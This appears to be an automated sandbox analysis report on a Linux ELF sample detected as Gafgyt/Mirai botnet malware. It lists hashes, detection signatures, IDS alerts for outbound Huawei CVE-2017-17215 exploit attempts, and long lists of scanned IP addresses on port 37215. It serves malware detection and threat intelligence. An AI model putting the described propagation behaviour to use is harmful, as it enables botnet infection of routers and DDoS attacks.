Linux Analysis Report
na.elf

Overview

General Information

Sample name:	na.elf
Analysis ID:	1533412
MD5:	0e80a151b68990a32724ad69ca8d3158
SHA1:	1f8c18500d6f837405052a168b6689499586e367
SHA256:	339a1b54635b77d2f7f8cf40c44c5e9ecea4c2c53d6c78edc90d2c64b5d08739
Tags:	elfuser-abuse_ch
Infos:

Detection

Gafgyt, Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Gafgyt

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Creates hidden files and/or directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.cyber5w.com/gafgyt-backdoor-analysis https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: na.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: na.elf

ReversingLabs: Detection: 75%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56294 -> 197.128.191.2:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58150 -> 156.151.100.202:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56222 -> 41.218.100.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:51172 -> 41.89.137.174:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35492 -> 156.232.166.249:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:52302 -> 156.63.45.216:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60702 -> 41.122.156.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49984 -> 197.99.4.212:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46416 -> 41.31.234.229:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54196 -> 156.28.219.90:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:49458 -> 41.144.135.4:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58414 -> 156.222.245.120:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:48996 -> 156.210.161.242:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:58876 -> 197.79.115.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53380 -> 41.101.45.97:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55100 -> 197.226.58.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55338 -> 41.194.87.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:35340 -> 41.67.232.98:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34188 -> 41.196.7.31:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38254 -> 197.243.209.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:56040 -> 156.176.210.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:40294 -> 156.112.183.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:54994 -> 156.27.51.195:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:60318 -> 156.126.126.153:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55664 -> 156.114.22.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38016 -> 197.23.237.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55696 -> 156.254.157.70:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38392 -> 41.159.117.221:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37832 -> 41.149.126.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:37940 -> 156.103.221.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38284 -> 41.126.233.88:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:38064 -> 156.20.201.142:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:33918 -> 197.20.253.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:42712 -> 156.174.227.94:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:45052 -> 197.39.41.65:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:55518 -> 156.194.201.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:46426 -> 41.107.169.125:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:53540 -> 156.9.60.107:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.8.64.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.101.61.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.67.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.59.249.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.255.77.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.217.204.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.54.189.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.36.204.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.34.100.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.55.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.30.192.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.224.96.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.25.244.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.171.231.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.132.105.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.106.131.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.10.21.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.215.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.49.180.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.90.39.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.13.119.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.32.239.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.225.139.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.191.217.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.68.209.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.174.39.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.185.176.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.215.64.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.244.144.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.118.68.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.99.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.45.142.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.174.244.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.3.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.71.83.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.216.113.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.149.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.164.219.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.13.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.13.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.27.38.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.237.17.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.162.41.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.167.118.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.197.77.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.87.164.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.89.67.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.213.11.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.248.10.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.209.8.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.58.211.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.195.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.39.23.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.152.134.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.208.252.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.71.180.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.189.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.200.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.104.141.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.16.15.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.194.203.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.73.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.164.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.139.156.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.81.16.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.46.152.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.240.61.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.142.163.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.97.54.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.20.38.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.94.121 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.56.40.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.7.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.223.160.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.237.166.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.147.237.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.163.190.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.49.165.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.141.192.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.63.60.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.213.126.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.253.78.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.200.166.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.112.74.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.51.51.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.166.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.81.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.156.88.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.253.155.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.202.247.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.34.186.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.11.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.125.179.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.60.205.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.155.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.49.217.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.214.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.117.140.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.231.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.224.161.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.218.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.244.21.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.129.10.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.217.80.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.91.236.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.207.113.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.115.191.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.9.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.107.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.248.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.253.102.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.49.107.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.37.116.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.202.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.60.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.54.152.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.83.180.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.192.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.21.48.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.29.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.214.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.155.86.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.27.73.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.175.244.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.166.203.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.122.68.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.216.201.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.204.110.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.24.220.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.220.19.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.98.46.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.89.221.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.27.32.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.30.17.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.109.235.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.56.205.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.62.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.25.90.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.139.91.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.86.16.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.77.75.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.170.225.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.85.30.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.191.145.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.97.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.116.22.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.66.208.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.107.191.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.131.139.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.35.2.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.43.124.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.169.52.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.36.83.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.109.35.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.90.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.71.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.23.101.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.44.39.40 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.126.112.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.203.176.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.189.123.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.153.227.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.70.216.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.195.66.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.183.88.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.73.85.29 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.34.229.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.104.242.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.156.146.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.13.42.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.204.92.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.35.116.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.73.112.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.202.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.129.112.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.200.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.22.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.152.146.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.178.249.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.212.61.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.88.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.21.184.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.238.59.172 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.18.65.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.231.220.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.21.88.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.14.187.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.32.48.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.170.145.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.124.92.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.158.208.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.162.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.219.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.88.101.12 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.117.41.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.147.99.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.247.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.222.233.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.98.221.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.116.241.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.87.109 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.57.173.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.41.255.251 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.77.230.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.162.72.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.63.217.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.212.250.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.161.169.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.110.33.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.190.134.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.11.13.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.12.139.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.213.237.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.16.125.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.225.106.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.135.79.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.44.137.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.92.213.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.160.237.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.104.54.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.37.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.29.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.143.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.32.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.116.55.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.250.237.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.145.112.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.82.15.20 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.196.241.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.229.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.8.152.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.54.125.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.113.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.58.253.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.218.209.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.24.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.100.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.58.89.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.42.1.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.82.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.165.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.119.204.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.114.47.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.25.32.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.1.157.64 ports 1,2,3,5,7,37215
